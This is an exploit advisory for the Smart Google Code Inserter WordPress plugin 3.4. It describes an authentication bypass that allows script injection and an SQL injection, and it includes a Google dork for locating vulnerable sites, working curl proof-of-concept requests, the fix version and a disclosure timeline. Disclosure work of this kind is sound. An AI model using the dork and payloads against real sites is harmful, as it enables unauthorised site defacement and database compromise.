65 lines
No EOL
2.5 KiB
Text
65 lines
No EOL
2.5 KiB
Text
Exploit Title: Smart Google Code Inserter < 3.5 - Auth Bypass/SQLi
|
|
Google Dork: inurl:wp-content/plugins/smart-google-code-inserter/
|
|
Date: 26-Nov-17
|
|
Exploit Author: Benjamin Lim
|
|
Vendor Homepage: http://oturia.com/
|
|
Software Link: https://wordpress.org/plugins/smart-google-code-inserter/
|
|
Version: 3.4
|
|
Tested on: Kali Linux 2.0
|
|
CVE : CVE-2018-3810 (Authentication Bypass with resultant XSS)
|
|
CVE : CVE-2018-3811 (SQL Injection)
|
|
|
|
|
|
1. Product & Service Introduction:
|
|
==================================
|
|
Smart Google Code Inserter is a Wordpress plugin that makes it easy to add
|
|
Google Analytics tracking code as well as meta tag verification of
|
|
Webmaster Tools. As of now, the plugin has been downloaded 34,207 times and
|
|
has 9,000+ active installs.
|
|
|
|
2. Technical Details & Description:
|
|
===================================
|
|
Authentication Bypass vulnerability in the Smart Google Code Inserter
|
|
plugin 3.4 allows unauthenticated attackers to insert arbitrary javascript
|
|
or HTML code which runs on all pages served by Wordpress. The
|
|
saveGoogleCode() function in smartgooglecode.php does not check if the
|
|
current request is made by an authorized user, thus allowing any
|
|
unauthenticated user to successfully update the inserted code.
|
|
|
|
SQL Injection vulnerability, when coupled with the Authentication Bypass
|
|
vulnerability in the Smart Google Code Inserter plugin 3.4 allows
|
|
unauthenticated attackers to execute SQL queries in the context of the
|
|
webserver. The saveGoogleAdWords() function in smartgooglecode.php did not
|
|
use prepared statements and did not sanitize the $_POST["oId"] variable
|
|
before passing it as input into the SQL query.
|
|
|
|
3. Proof of Concept (PoC):
|
|
==========================
|
|
|
|
Code Insertion
|
|
|
|
curl -k -i --raw -X POST -d
|
|
"sgcgoogleanalytic=<script>alert("1");</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode"
|
|
"http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host:
|
|
localhost" -H "Content-Type: application/x-www-form-urlencoded"
|
|
|
|
SQL Injection
|
|
|
|
curl -k -i --raw -X POST -d "action=saveadwords&delconf=1&oId[]=1 OR
|
|
1=1--&ppccap[]=ex:mywplead&ppcpageid[]=1&ppccode[]=bb&nchkdel1=on" "
|
|
http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host:
|
|
localhost" -H "Content-Type: application/x-www-form-urlencoded"
|
|
|
|
4. Mitigation
|
|
=============
|
|
Update to version 3.5
|
|
|
|
5. Disclosure Timeline
|
|
======================
|
|
2017/11/29 Vendor contacted
|
|
2017/11/30 Vendor acknowleged and released an update
|
|
2018/01/01 Advisory released to the public
|
|
|
|
6. Credits & Authors:
|
|
=====================
|
|
Benjamin Lim - [https://limbenjamin.com] |